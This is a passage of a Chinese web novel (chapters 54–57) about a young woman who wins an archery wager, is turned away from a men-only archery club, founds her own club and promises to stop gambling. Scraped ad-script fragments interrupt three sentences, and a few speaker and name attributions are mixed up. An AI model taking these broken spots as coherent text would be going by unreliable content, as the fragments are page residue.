“确实,鸽子飞得高矮没有定数,所以我们今天,不以高矮论输赢。”黎千秋说道。 “那以什么来论?”姜佑安问道。 葫芦已经系在了树枝上,仆人们下了树,黎千秋指着树上的葫芦说道:“先射中葫芦,再射中鸽子,这里总共五只葫芦,也就是五只鸽子,谁射中的鸽子多,谁就获胜。” 戴庭芳听了一脸不忍,但也没说什么。 姜佑安想了想,“我射中的鸽子能拿走吗?” 黎千秋轻蔑地笑了,“银子你是拿不走了,要是能侥幸射中一只鸽子,就留给你煲汤喝吧。” 54. 结社 姜佑安看向程祥,“程祥,你喜欢吃鸽子吗?” “我?”程祥看了看戴庭芳,有些犹豫地答道:“还好吧。” “我等会儿还要去卖花,受了伤的鸽子血淋淋的,我不方便带,等会儿你拿回去吃吧。”姜佑安说道。 “小小卖花女,语气竟如此狂妄!”黎千秋一伸手,就有仆人把弓递到他手上,箭囊也系上了身,“你先射中了,再考虑怎么处置吧!” 王牧走过来,拿着一支箭,在地上划定了区域,他拿着小锣站在一旁,请示道:“社长,可以开始了吗?” “可以。”黎千秋说道。 王牧面向柳树站着,当的一声,敲响了锣。 黎千秋马上射出一箭,一只葫芦嘴断裂,葫芦掉落在地上,摔成碎片,叮铃铃一阵响,一只鸽子脖子上带着铃铛,向天空飞去,黎千秋又马上搭箭射出,鸽子应声落地,带着箭,在地上扑腾。 众人叫了一声好,却又听见两只铃铛在空中响起,仔细一看,两只鸽子正飞在空中,姜佑安嗖嗖两箭飞出,两只鸽子相继坠落在地。 众人还未发出惊呼,姜佑安又射出一箭,正中一只葫芦的腔室,葫芦碎裂,箭支落在了墙外,鸽子腾空而起,只扑扇两三下翅膀,就被姜佑安射中,掉在了院子里。 再看黎千秋,他才刚射中第二只鸽子,可柳树上已经没有葫芦了。 在众人惊愕的目光中,姜佑安放下弓,转身看向黎千秋,微笑着说道:“我射中三只鸽子,是我赢了。” 黎千秋的眼神里带着怒气和不甘,他把弓扔给一旁的仆人,“钱你拿走就是了。” 赌桌上的钱,都是她一个人的了!姜佑安欢快地走到赌桌前,王牧再次帮她把钱归拢到一起,她把钱袋子装满系好,揣进了怀里,把桌上剩的钱,抓了一把给王牧,王牧十分惊喜,道了谢就收下了。 看门的少男把鸽子连同箭支一起拿了过来,姜佑安也给他抓了一把,少男连声道谢,姜佑安又剩下的抓起来,都给了程祥。 程祥受宠若惊,看了看戴庭芳,又看向姜佑安,“这,不大好吧,钱袋是公子借给你的,这钱我受之有愧。” “哦,对了,钱袋是戴公子,我都给忘了。”姜佑安笑了笑,看向戴庭芳,“那这钱,你们俩一人一半,钱袋我会还给你的。” 戴庭芳的脸色有些僵,“不用了,都给程祥就好。” “时候不早了,我得卖花去了。”姜佑安走到黎千秋面前,行了一礼,“以后我就是锦标社的一员了,社长,咱们弓箭社的活动是每天都有吗?有什么特殊的规定吗?明天我过来也有人吗?” “明天你不用过来,以后也都不要来,我们锦标社,不收女人。”黎千秋冷着脸说道。 姜佑安用审视的眼神看着黎千秋,“你要食言?” 岳复走上前来,“黎社长,这位姜姑娘确实技艺过人,留她和我们一起训练也未尝不可。” 人群再次变得喧闹起来,有说这姑娘有趣,要她留下来的,也有说这里容不得女人,让她赶紧走的。 黎千秋扫视了一圈,转头看向岳复,声音低沉而有力,“你是社长,还是我是社长?” 人群一下子安静下来。 “你刚才不是问锦标社有什么规定吗?我告诉你,我们唯一一条规定就是不能有女人在场。”黎千秋对姜佑安说道。 姜佑安不以为意,“那这规定可以改一改了,今天我在这里,不也没什么嘛。” “今天是我儿子的疏忽,你拿了钱就赶紧走吧。”黎千秋看向黎泱泱,“以后再不许放女人进来!” 黎泱泱低下头应道:“是。” “我拿的钱,是我赢来的,不是你施舍的!”姜佑安生气地说道:“不收我?那我就去告发你们私自结社、私设赌局!” 黎千秋冷哼一声,“你去告就是了,无论你告到哪里去,我说不收就是不收!” 姜佑安简直被气笑了,“堂堂黎社长!堂堂黎老板!竟如此不守信用,真让人不齿!” “算了,姜姑娘。”戴庭芳站出来,挡在了两人之间,“这里本就不是女人该来的地方,咱们还是走吧。” “还是戴公子通晓情理,请吧!”黎千秋做出送客的姿势。 姜佑安虽然生气,但也知道继续纠缠下去也没什么意义,她狠狠瞪了黎千秋一眼,转身向前院走去。 戴庭芳向黎千秋行了一礼,也往前院去了,程祥拎着三只鸽子跟在他身后。 两人来到前院时,姜佑安已经挑起了担子要出门去了。 “姜姑娘。”戴庭芳追上去,“你还想加入弓箭社吗?” 姜佑安挑着担子向前走,侧头看向戴庭芳,“怎么?你有办法?” “不是,我没有办法,书院也好,弓箭社也好,我都没有办法,不过,你在家里练箭练得好好的,为什么非要加入弓箭社不可呢?”戴庭芳问道。 “为了挣钱啊,你没看我今天赢了多少钱。”姜佑安骄傲地说道。 “这不是赚钱的正路子,你还是好好卖花吧。”戴庭芳说道。 “管他正的歪的,只要能挣钱就好。”姜佑安说道。 “你今天赚的,也够你们生活了吧,为什么还要去?”戴庭芳问道。 “这点儿钱哪够?”姜佑安说完,吆喝着卖起花来。 有姑娘听到卖花声,从院子里出来,招呼姜佑安过去,戴庭芳见了,就站在墙边等着。 等姜佑安卖了花,挑起担子往前走,戴庭芳又跟了上去,“你是要做什么?需要多少钱?我可以借给你。” “我借了你的钱,不还是要还的?”姜佑安说道。 “我平时不怎么用钱,你不用着急还的。”戴庭芳说道。 姜佑安停下了脚步,看着戴庭芳,“你的钱是你的,我要自己赚钱,花着才安心。” 程祥也走了过来,“姜姑娘,你到底有什么难处,你跟我们说,我们可以帮你啊。” “跟你们说?”姜佑安笑了笑,“我想要美貌的男人,你们可以帮我?” 戴庭芳和程祥你看看我,我看看你,窘迫得一句话都说不出来。 “你们帮不了我,没事,我会自己想办法的。”姜佑安抛下两人,挑着担子走出了巷子,往另一条街上去了。 卖完了花,姜佑安买了两斤羊肉、两斤猪肉和一只烧鸡回去,袁竹见了,怪她花钱大手大脚,卖水仙花的钱,不到冬天就要被她花光了! 姜佑安从怀里掏出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沉甸甸的钱袋来,塞到袁竹的手里。 “这是什么?”袁竹打开绸缎做的钱袋,只见里面装满了白花花的银子,她吃惊地看着姜佑安,“这么多钱!哪来的?” 姜佑安把弓弦拆了,把弓和箭囊放好,回过头来得意地笑着,“是我在县里的弓箭社比赛赢来的,厉害吧?” “佑安姐姐真厉害!”阮荷高兴地夸赞道,有了这些钱,她再也不用为没钱买纸而烦恼了。 袁竹把钱袋里的钱倒在了桌子上,“这得有多少银子啊?” 姜佑安在桌边坐下,“这一小块,大约是一两银子,我粗粗算了一下,怎么也有个一百多两吧。” 李长风把一杯茶递到姜佑安手里,“姐姐辛苦了,请喝茶。” “一百两?”阮荷十分震惊,放下笔,凑了过去,“我从没见过这么多钱!” “这么点儿钱算什么,以后咱们还要赚更多!”姜佑安喝了一口茶,兴奋地说道。 “这对姐姐来说,确实不算什么。”李长风附和道。 “那你们家真是太有钱了,别说小阮了,我都没有见过这么多银子。”袁竹笑着说道。 “那都是以前的事了,不提了。”姜佑安说道。 “弓箭社的比赛竟然能挣这么多钱,那你以后不用上山打猎了,去弓箭社不就好了?”袁竹说道。 “以后去不成了,弓箭社的社长说他们不收女人,让我以后不要去了。”姜佑安说道。 “这么这样?佑安姐姐射箭射得那么好,就因为是女人,就不让你去了?”阮荷为姜佑安抱不平。 袁竹数了钱,把银子装回了钱袋里,“这世道就是这样,男人可以做的事多,女人可以做的事少,不去就不去吧,这些银子也够花几年了。” “他们不让我参加,我打算自己组建一个弓箭社,弓箭社里的男人都是身强力壮的,我要是成了弓箭社的社长,不用那么多钱,也能聚集一堆男人在身边。”姜佑安高兴地说道。 “什么弓箭社?你要在哪办弓箭社?”袁竹问道。 “咱们院里,家附近,不都可以吗,只要有弓箭,有靶子,还愁没有地方射箭?”姜佑安说道。 “不行!”袁竹表示反对,“弄一堆男人来家里,乱哄哄的,我不同意。” “我也觉得不大好。”阮荷小声说道。 “行,那我另找地方结社吧。”姜佑安把钱袋拿过来,倒在桌上,数了五十个装回钱袋里,“这五十两是我的了,剩下的你们分。” 袁竹拿了两块递给李长风,“长风,这是你的。” 李长风伸手接了过去,“谢谢姐姐。” 袁竹又拿了五块递给阮荷,“小阮每天做饭辛苦了,这是你的。” “我不用这么多,之前卖了水仙花,佑安姐姐给我分的钱还没花完呢。”阮荷推辞道。 “花不完就存着。”袁竹把钱塞到阮荷手里,又分出两块来放在一边,“这二两银子留给杨恩,等他下次来的时候再给他。” 袁竹把剩下的钱拢到一起,接着说道:“最近我一直在想,咱们家现在人多,我原来的那块花田有些不够用了,正好用剩下的这些银子,看看是买些地或者是租些地,多种些花,你们觉得怎么样?” 55. 社员 “我可以和姐姐一起下地干活,多种些地,我觉得挺好。”阮荷说道。 “姜姐姐都不去打猎了,那我也和袁姐姐一起种田。”李长风说道。 “你们随便,但别算上我,我还要组建弓箭社呢。”姜佑安说道。 袁竹笑了笑,把钱收了起来,“不算你,你能拿回来这么些钱,已经很厉害了,我们就算多种些地,一年估计也挣不上一百两银子,只是有个营生,以后不至于饿肚子罢了。” 姜佑安看她进屋时,走路微微弯着腰,知道她还因为月经而难受,于是从卖花担子里拿出一个手炉和一包碳来,塞给袁竹,“在手炉里点上碳,捂在你肚子上,就会舒服得多。” “我去点上。”李长风忙接了过去,点了一块碳放进手炉里,手炉很快就热了起来,他捧着手炉问姜佑安,“姐姐,这手炉是不是缺个手炉套啊?” “还真是,我忘了买了。”姜佑安说道。 “手炉套是什么?”阮荷问道。 “就是一层厚点的布,把手炉装进去,就不会那么烫手了。”李长风解释道。 “那我来缝一个吧。”阮荷去西屋的柜子里找出做新衣服剩下的布料,裁剪缝制了一番,制作了一个手炉套。 袁竹已经躺在了床上,被子里放着手炉,热乎乎的,她觉得舒服了许多,阮荷过来把手炉拿出去,套上手炉套,塞进了袁竹怀里。 “这炉子真好,冬天有这个,被窝里就不会冷冰冰的了。”袁竹笑着说道。 “等今年冬天,咱们每个人都买一个,睡觉的时候就不怕冷了。”姜佑安说道。 “那我再做三个手炉套,到时候就不用买了。”阮荷说着,又去裁剪布料去了,剪好了布料,她又觉得该做午饭了,放下剪刀和布料,就去了厨房,让李长风去叫杨恩,中午过来吃午饭。 姜佑安出了房间,在院子里柴火棚边找到了一块窄木板,她拿砍刀把上下两头砍整齐,回到堂屋里,用笔墨竖着写下了弓箭社三个字。 她拿着木板走出了院子,看挂在什么地方合适,虽然袁竹不让她在家里办弓箭社,但她目前也没有别的地方可用,先弄个牌子试试看吧。 姜佑安正在墙上比划来比划去,身后传来一个女孩的声音,“你在干什么?” 回头一看,原来是张慈的女儿李初五,“我在看这牌子挂在哪里好。”姜佑安答道。 “这是什么牌子?为什么要挂起来?”李初五追问道。 姜佑安回过头去,继续在墙上比划,“我想办个弓箭社,这是弓箭社的牌子,挂起来,路过的人看见,就知道这里有弓箭社了。” “弓箭社是什么?”李初五又问道。 “你的问题还真多。”姜佑安回过身来,放下了牌子,“弓箭社就是射箭的地方,你知道射箭吗?” “知道!”李初五高兴地笑了,“我家里还有我爹给我做过弓箭呢,都是用柳条做的。” 姜佑安看着她两手端的盘子,微笑着问道“这馒头是给我的?” “对,我娘让我送回来的,刚蒸好的大馒头,娘子尝尝。”李初五说道。 姜佑安接过了盘子,往院子里走去,“好,等会儿我洗了手就尝,小姑娘,跟我进来,我把盘子还给你。” “好。”李初五跟着进了院子,又进了厨房。 阮荷已经做上了米饭,正在剁烧鸡,姜佑安让她把馒头拿下去,又把半只烧鸡放在盘子里,姜佑安弯下腰,把盘子递给李初五,“把这个拿回去吃吧。” 李初五闻着烧鸡的味道,咽了咽口水,“谢谢娘子。”说完高兴地跑了出去。 “佑安姐姐,猪肉先腌上,下午炸小酥肉,中午吃烧鸡和羊肉,再配些青菜,怎么样?”阮荷问道。 “行啊,你想怎么做就怎么做,你怎么做,我就怎么吃。”姜佑安说着,走到灶口的位置去烧火,正巧李长风回来了,让她去歇着,他来烧,姜佑安便出了厨房。 姜佑安出了院子,去拾起弓箭社的牌子,杨恩也来了,姜佑安跟他商量着要怎么把这个木板挂起来。 吃过了中午饭,杨恩听说了弓箭社的事,收了那二两银子,把弓箭社的牌子带走了,说帮她钻个洞再拿回来。 姜佑安把稻草靶子挂到院子外的树上,一边练箭,一边等着杨恩回来。 杨恩还没来,却是李初五先来了,“姜娘子!”她开心地喊道。 这小姑娘的笑脸,一见就使人开心,姜佑安收起弓,笑着问道:“你怎么来了?吃过午饭了?” “吃过了,我来和娘子一起射箭。”李初五高兴地扬了扬手上的柳枝弓。 “你喜欢射箭?”姜佑安问道。 “喜欢。”李初五把一把柳条做的箭放在了地上,又拿起一根,搭在她的柳枝弓上,她向前走了几步,张弓向树上的靶子射出,柳条箭歪斜着向前飞去,然后落在了地上,离靶子相去甚远。 李初五把地上的柳条箭全都射了出去,没有一支碰到靶子。 “我射得不好。”李初五不好意思地笑了笑。 姜佑安看着她手上的那把弓,只是柳枝捆的玩具而已,便把自己的弓递给她,“你用我的试试。” 李初五接过姜佑安的弓,觉得很沉重,她新奇地举着弓,拉了拉弓弦,可弓弦纹丝不动,她有些沮丧地把弓还给了姜佑安,“我拉不动这个。” “这弓是有紧,你还小,应该用轻一些的弓。”姜佑安说道。 “我用我的弓就行,多练一练,肯定能射中。”李初五说道。 姜佑安很喜欢她这股劲头,笑着说道:“这样吧,你要是加入我的弓箭社,我就给你买一把你能用的弓给你,怎么样?” “真的?那我加入!”李初五高兴地说道。 “好,那你就是我的一号社员,再有加入的,都得排在你后面。”姜佑安说道。 “嗯。”李初五认真地点了点头。 杨恩送来了牌子,在院门旁边的墙上钉了一个钉子,把打了洞、穿了绳的木牌挂在了墙上。 柳树已经冒出了绿芽,稻草做的靶子挂在树枝上,随风摇晃,姜佑安一边射箭,一边听李初五坐在一旁,讲述她家里的事,还有这个村子里的事,知道张慈在村口喊她回去吃饭,她才离开。 第二天一早,姜佑安在地里剪牡丹花时,李初五又来了,她说她娘告诉她,不能白收别人的东 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 西,让她不许要姜佑安给的弓箭。 姜佑安把剪刀递给她,让她帮忙剪花枝,今天给她买了弓箭,要她来剪十天的花,以劳动来偿还。 李初五十分高兴,按照姜佑安的要求把能卖的花和花骨朵都剪下来放在筐里,又跟着一起回了院子,摆放在卖花担子里。 姜佑安跟阮荷交代一番,要是张慈来问,就说李初五和她在一起,中午之前就能回来,说完就带着李初五一起往县里去了。 两人都没吃早饭,先去买了烧饼吃,又一起走街串巷买花去。 卖花的挥手,姜佑安碰到了捕快曾景阳,向他说了黎千秋私下结社的事,曾景阳说现在朝廷都不管结社的事了。 姜佑安早有预料,朝廷要是管的话,也不会让锦标社发展壮大到这种地步,她又跟曾景阳说了锦标社里私设赌局、射箭赌钱的事,这引起了曾景阳的重视,他说会去查一查。 曾景阳又问起李长风最近如何,两人说了会儿话,便告了别。 卖完了花,姜佑安想带着李初五去茶馆歇一歇,没想到李初五说她一点儿都不累,姜佑安便带着她去弓箭铺去挑选弓箭。 一踏进弓箭铺,姜佑安便看到了黎泱泱,这才想起来,弓箭铺也是黎千秋家开的。 黎泱泱也看到姜佑安,他放下手中的弓,走了过去,“姜姑娘要买点儿什么?” 铺子里摆放着各式弓、箭、弓弦、箭囊、扳指和弓架,姜佑安把担子放在门边,走进去边走边看,“有没有适合初学者的弓?” “初学者?”黎泱泱向姜佑安的身后看了看,“这姑娘是姜姑娘的孩子?” 姜佑安一听就笑了,“我怎么会有这么大的孩子。” “抱歉,冒犯了姑娘。”黎泱泱取了一把木弓来,“这把弓是用柳木做的,柔韧,易于弯曲,很适合初学者。” 姜佑安接过去,拨了两下,果然比较松弛,她把弓递给李初五,“你试试。” 李初五接过去,很轻松就能拉个半满,她反复拉了几次,高兴地对姜佑安说道:“姜娘子,这个我能拉得动。” “行,就要这个吧。”姜佑安往旁边看去,“再拿十支箭吧。” “普通的箭,有鸡毛的和鹅毛的,姜姑娘想要哪种?”黎泱泱问道。 “鹅毛的吧,有适合孩子用的扳指吗?”姜佑安问道。 “有皮指套,可以调节粗细,很适合孩子用。”黎泱泱答道。 “行,就这些吧。”姜佑安笑着看向黎泱泱,“没想到,你还是个生意人。” 黎泱泱也笑了笑,“毕竟是我家的铺子,这些东西长年接触下来,也都熟悉了,姑娘昨天赢了那么多钱,不给自己添置些什么吗?” “我射箭不过是玩玩而已,没什么要添置的,对了,刚才我要的那些,各给我准备两份,灾加两个普通的箭囊,你算算多少钱。”姜佑安说道。 “姑娘是要送礼吗?用不用包起来?”黎泱泱问道。 “不用,你们那弓箭社不是不收我吗?我就自己组了个弓箭社,这两份弓箭都是买给社员的,虽说现在人少,但以后肯定会越来越多的,黎公子要不要加入我的弓箭社?”姜佑安笑着问道。 56. 发誓 黎泱泱笑了笑,“我们锦标社都是自己带弓箭去的,姑娘的弓箭社却给社员买弓箭,真是难得,不过,姑娘明知道我是锦标社的,我爹就是锦标社的社长,为什么还要我加入你的弓箭社?” 姜佑安的弯弯的眼睛里带着笑意,还有着些许暧昧,“理由很简单,我打第一眼看到黎公子,就觉得公子样貌不凡,如果你来参加我的弓箭社,让我能常常看到你,我会觉得很开心。” “姑娘还真是直言不讳。”黎泱泱有些惊愕地说道:“姑娘家有如此的行事作风,恐怕会惹人非议。” “别人说什么,议论什么,我从来不在意。”姜佑安说道。 “姑娘行事坦荡,令人钦佩,不过,我爹不会同意我加入其他弓箭社的。”黎泱泱说道。 姜佑安无所谓地耸了耸肩,“行吧,这些东西总共多少钱?” “四百文。”黎泱泱说道。 姜佑安从腰间拿出一块银子来,递给伙计,伙计拿去称了,把弓箭连同找的铜板一起给了她。 “多谢。”姜佑安把弓箭放在担子里,挑起担子正要出门,又回过头来对黎泱泱说道:“对了,我刚才碰到捕快,跟他说了你们锦标社里射箭赌博的事,你要是不想被查,就跟令尊说一声,以后不要再设赌局了。” 姜佑安说完,领着李初五走出了弓箭铺,一路出了县城,往家里走去。 姜佑安带着李初五刚踏进院门,袁竹就走了出来,“初五,你娘说让你回来就赶紧回家,不要乱跑了。” 李初五看了姜佑安一眼,姜佑安放下担子,冲她笑了笑,“弓箭先放我这里,中午吃完饭再过来玩吧。” “嗯。”李初五点了点头,欢快地跑了出去。 姜佑安见李初五走了,正要挑起担子进屋,袁竹突然从怀里掏出钱袋来,扔在了姜佑安的脚边,姜佑安疑惑地看向袁竹,“你这是干什么?” 袁竹眉头紧皱,眼中带着怒火,厉声道:“姜佑安!这钱是你赌博赢回来?” 听到袁竹发火,戴庭芳、程祥、阮荷和李长风忙从堂屋里走了出去。 “袁姑娘,你别冲动,有话好好说。”戴庭芳劝道。 姜佑安把地上的钱袋捡了起来,“虽说是有赌博的成分,但也是因为我射箭射得好,才赢来的这些钱,你何必扔了它。” “赌博赢来的钱,我才不稀罕!”袁竹冷冷地说道。 “我要是不去赌,你哪来的钱去租地买地?你要卖多少花,才能卖这些银子?钱给你了,你就好好收着,管它是怎么来的。”姜佑安说道。 “就因为这钱得的容易,我才更不能要!”袁竹说道。 “你说得容易,我是靠日日努力练习才赢的,凭的是实力,不是运气。”姜佑安说道。 “赌就是赌!哪个赌徒赢钱的时候不觉得是自己有实力?赢了一把,还觉得能赢下一把,今天赢了,就觉得明天还能赢,可结果呢?不输个倾家荡产是不会收手的!”袁竹说道。 姜佑安听了,不以为然,“哪有这么严重,我哥哥在京城里也会比赛设赌局,他那些朋友参与的可多了,也没见谁倾家荡产。” “你只见过没倾家荡产的,我却见过把房子、地皮全都输没了,只能乞讨为生的,我们手里的钱本来就不多,你却拿去赌博,是想让我们都流落街头吗?”袁竹生气地说道。 “我赌的是我自己的钱,又没拿你们做赌。”姜佑安说道。 “等你赌红了眼,还管什么你的我的!”袁竹说道。 “你这是对我的恶意揣测!我是对自己射箭的技艺有把握才去赌的。”姜佑安说道。 “是啊,姜姑娘的技艺高超,连梁老板都赢不过她,况且梁老板也不让她再去赌了,你好好劝劝她就是了,不要吵架了。”戴庭芳说道。 “什么技艺高超!赌就是赌!她昨天是赢了梁老板,万一以后有比梁老板技艺更高超的呢?她是不是就要输了?以她这个不服输的性子,不把钱全赔进去就怪了!”袁竹说道。 姜佑安不服气,“梁老板就是弓箭社最厉害的了,哪还有比他技艺更高超的?” “姜姑娘是厉害,但人外有人,天外有天,姑娘不要嫌我多事,我也是不希望你沉迷于赌博,才跟袁姑娘说的,赌博这种事,沾上了就没有好下场,我们书院也曾有优秀的学生,因为染上了赌瘾,无心读书,直至退学,然后一蹶不振,浑浑噩噩地活着,姑娘,你以后还是不要再参与了。”戴庭芳劝道。 “我只是去挣点儿钱花,有没有染上赌瘾。”姜佑安嘴硬说道。 袁竹冷哼一声,“等你染上赌瘾,就晚了!” 见袁竹态度强硬,姜佑安只好妥协,“好好好,我听你的就是了,以后再也不赌了。” “你发誓!发誓你以后绝不再赌!”袁竹说道。 姜佑安皱起眉头,“至于吗?我向来说话算话,说不赌就肯定不赌,你信不过我,发誓你就能信了?” “佑安姐姐,你就发个誓吧,这样袁姐姐就安心了。”阮荷劝道。 戴庭芳、程祥和李长风都一言不发地看着姜佑安,但显然,他们都很认同袁竹。 姜佑安无奈地举起手来,“好,我发誓!如果我以后再赌,就让我再看不到美貌的男人,行了吧。” 袁竹这才松了口气,笑了出来,“你这个誓发得倒是挺认真的,我信你了。” 姜佑安也笑了,把钱袋塞到袁竹手里,“反正我已经决定办弓箭社了,等我招到男社员,哪里还用赌博赚钱。” “随便你,只要别把男人弄到家里来就行,我看着就觉得烦。”袁竹把钱袋揣进怀里,向屋里走去。 “姑娘要办弓箭社?”戴庭芳问道。 “书院不招收女人,姑娘就自己教阮姑娘,弓箭社也不招收女人,姑娘就自己组建弓箭社,姑娘这样的心性,真是让人佩服。”程祥笑着说道。 “谁让这世间对女人的束缚那么多,这也不行那也不行的,烦死人了!我才不管这些,我想做什么就做什么!”姜佑安说着,挑起担子进了屋。 “姑娘真是厉害。”程祥跟在她身后进了屋,“我家公子跟袁姑娘说了昨天的事,姑娘不会怪他吧。” “他这样的性子,我早就知道了。”姜佑安把担子放好,坐在竹椅上,接过李长风递来的茶喝了两口,“况且他又没有恶意,只是不希望我沉迷赌博,有什么可怪的。” 程祥笑了笑,“那我代公子多谢姑娘了。” 姜佑安回头看着程祥,笑着说道:“他不是不让你代他说话吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?你让他自己来谢我。” 戴庭芳在阮荷写字的桌边坐了,低头看着手上的书,“我又没有做错什么,何必要谢她不怪我。” 姜佑安哈哈一笑,“说得也是,范玉成在弓箭社里赌博的事,戴公子跟戴院长说了吗?” “该说的,我自然会说。”戴庭芳说道。 “那就好。”姜佑安站起身,把茶杯放在了条几上,进屋去拿出钱袋放在戴庭芳的手边,“昨天多谢你借我钱袋,还给你。” “不客气。”戴庭芳淡淡地应了一声,把钱袋收了起来。 姜佑安出了屋,程祥跟了过去,“昨天你给我的鸽子,我让厨房帮忙做了,今天给你们拿了两只来,放到厨房里去了。” “你留着吃就是了,还送过来干什么。”姜佑安说道。 “戴家的厨娘手艺很不错,她做的脆皮烧鸽,老爷和夫人都很喜欢,我想着正好有鸽子,就求她帮忙做了,拿来给你们尝尝。”程祥说道。 姜佑安笑了笑,往厨房走去,“好,承你的情,我们也尝尝。” 戴庭芳不知道什么时候已经从屋里走了出来,“程祥,回去了。” “哎。”程祥应了一声,走过去接过戴庭芳手中的书,跟着他向院门走去。 袁竹忙从厨房里走出来,“戴公子,今天有程祥带来的鸽子,一起吃了午饭再走吧。” “不了,你们吃吧。”戴庭芳说罢,带着程祥出了院门。 “戴公子也真是的,教了小阮这么久了,还是这么客气,留下来吃个午饭都不肯。”袁竹说道。 “随他吧,也许这样,他觉得自在些。”姜佑安说道。 “米饭我已经做上了,阮荷你看看再做些什么,鸽子要不要热一下?”袁竹问道。 “脆皮的鸽子要是再热一下,皮就不脆了,现在天也没有那么凉了,切一下就直接吃吧。”姜佑安说道。 “行,我们也没吃过这个,听你的。”袁竹说道。 两只鸽子切了一盘,还是显得没那么多,阮荷又炒了两个菜,一起端上了桌,程祥说得不错,脆皮烧鸽确实很好吃,阮荷决定下次跟程祥打听一下,这个菜是怎么做的。 吃过了午饭,阮荷和李长风一起在厨房刷碗,李初五来到了院子里,高兴地喊了一声,“姜娘子,我来了。” 袁竹走出屋去,向李初五问道:“你找姜娘子做什么?” “学射箭啊。”李初五开朗地说道。 “初五是我弓箭社的第一个社员。”姜佑安拿着弓箭走了出去,拿起走廊上的稻草靶子,“走,初五,我教你射箭去。” 两个人意气风发,大踏步地走了出去。 “这丫头,想一出是一出的,折腾个没完。”袁竹摇了摇头,进了屋。 袁竹不再因为月经而难受,便依旧独自挑着担子去卖花,李初五早上来帮她剪花,她说没有那么多花要剪,让李初五去和姜佑安一起射箭去。 李初五练了三五日,距离靶子十步以内,已经能射中靶子了,姜佑安狠狠夸了她一番。 这天,姜佑安正带着李初五一起练箭,黎泱泱突然出现在一旁。 黎泱泱俊朗的脸上带着微笑,“姜姑娘,我想加入姑娘的弓箭社,不知道姑娘能否准许。” 57. 女人 “黎公子!你怎么会到这里来?”姜佑安惊讶地问道。 “锦标社最近被官府查问,已经不能赌博了,我来姑娘的弓箭社凑个热闹。”黎泱泱说道。 “我的弓箭社还没找好地方,没有热闹可以让黎公子来凑,公子是来兴师问罪的吗?”姜佑安说道。 “私设赌局,被查是应该的,我爹答应让姑娘加入弓箭社,却又言而无信,也是他有错在先,我没什么好责怪姑娘的。”黎泱泱说道。 姜佑安微微一笑,“那就好,我还以为公子会因为这件事讨厌我呢。” “姑娘明明白白地告诉我,是你向捕快告发的,分明是觉得,就算我因为此事而厌恶你,你也无所谓吧。”黎泱泱说道。 “怎么会呢?”姜佑安尴尬地笑了笑,“我是真心想邀请公子加入我的弓箭社的,只是现在还没有练箭的场地,怕是会委屈了公子。” 黎泱泱向袁家门口看了看,“那里不是挂着弓箭社的牌子吗?” “那只是挂着玩儿的,卖花的袁姑娘你也知道吧,这里是她家,虽说现在也是我家,但我说了不算,她不让我在这里办弓箭社,我也没办法,只能带小姑娘在这里玩玩。”姜佑安说道。 “这门口不是很宽敞吗?在这里怎么不行?”黎泱泱问道。 “小姑娘行,你不行,袁竹不允许我招男的,除非我另找地方。”姜佑安说道。 这边说着话,那边戴庭芳和程祥从大路上下来,李初五放下弓,等他们走过。 两人跟姜佑安和黎泱泱打了招呼,进了院门。 “你不是说不能招男的吗?那两个男人是怎么回事?”黎泱泱问道。 “我家有个小姑娘叫小阮,戴庭芳是小阮的表哥,是来教小阮读书的,跟我的弓箭社可没有关系。”姜佑安说道。 黎泱泱思索了片刻,向姜佑安问道:“我比姜姑娘虚长几岁,要是姑娘把我认做表哥,我是不是就能出入袁家了?” “什么?”姜佑安的脸上一副哭笑不得的表情,“你的想法还真是灵活多变,你想加入我的弓箭社,还要把我认作表妹,令尊知道了,肯定会大发雷霆。” 黎泱泱笑了笑,“我也不能事事都听我爹的。” “令尊看起来是个蛮不讲理的人,你要是惹怒了他,应该不好过吧,你何必要这么做?”姜佑安感到不理解。 “我是家中长子,以后锦标社也好,弓箭铺也好,都要由我继承,他年纪大了,不能把我怎么样。”黎泱泱缓缓说道,他身上带着一种气定神闲的氛围,和在黎千秋面前时截然不同。 “行啊,黎公子愿意加入,那是再好不过的了,只不过我现在还没有找好场地,等我们弓箭社正式成立了,我就到弓箭铺通知公子。” “好,那我就静候佳音。”黎泱泱说完,跟李初五打了招呼,就往县城去了。 程祥走了过来,“姜姑娘,黎公子来这里做什么?” “他想加入我的弓箭社。”姜佑安说道。 “他自己家的弓箭社规模那么大,怎么会来参加姑娘的弓箭社?”程祥奇怪地问道。 姜佑安扬唇轻笑道:“谁知道他打的什么主意,也许是冲着我来的吧。” “姑娘同意了?”程祥问道。 “看在他长得好看的份上,我是想收了他的,可惜袁竹不同意我在家里办弓箭社。”姜佑安略带遗憾地说道。 “他长得好看?”程祥感到难以置信,不自觉地提高了音量,“他长得五大三粗的,皮肤又黑,哪里好看了?我家公子长得那才叫好看!” 姜佑安一听,笑了起来,“你的眼界太狭窄了吧,纤细有纤细的美,粗犷也有粗犷的美,他跟你家公子又不是一类人,有什么可比的。” “这么说,姑娘也觉得我家公子长得好看?”程祥问道。 “那当然了,我去卖花的时候,这县里的人也见过不少了,戴公子的美貌当是其中数一数二的。”戴庭芳说道。 “那姑娘嫁给我家公子怎么样?”程祥笑着问道。 姜佑安伸手敲了一下程祥的脑门,“好啊,我当你是朋友,跟你实话实说,你却在取笑我?” “我没有取笑姑娘,姑娘和公子都是我尊敬的人,我想你们要是能够成亲,可以称得上是一桩好亲事了。”程祥揉着脑门,委屈地说道。 “算了吧,他是小阮的表哥,你不是说戴院长有心要小阮嫁给他吗?反正我绝对是戴院长看不上的女人,戴公子确实长得好看,但戴院长也是真的麻烦,我一看见他就觉得烦。”姜佑安说道。 “戴院长自从听说了阮姑娘是赖川外室的谣言,就放弃了这门亲事,姑娘要是能为了公子,守些规矩,说不定戴院长也会接受你的。”程祥说道。 “戴院长接受我有什么用,又不是戴院长成亲,我看戴公子的态度,也是要对我敬而远之,我和他啊,能当个朋友就不错了。”姜佑安说道。 “其实依我看,公子也并不是对姑娘毫不在意,要不然他也不会到弓箭社区找你,只因为他从小除夫人和奶娘外,没怎么接触过其他女人,并不了解男女之间的事,一直没开窍罢了。”程祥说道。 “那就等他开窍再说吧,不过,要让我守规矩。”姜佑安摇了摇头,“我可做不到。” 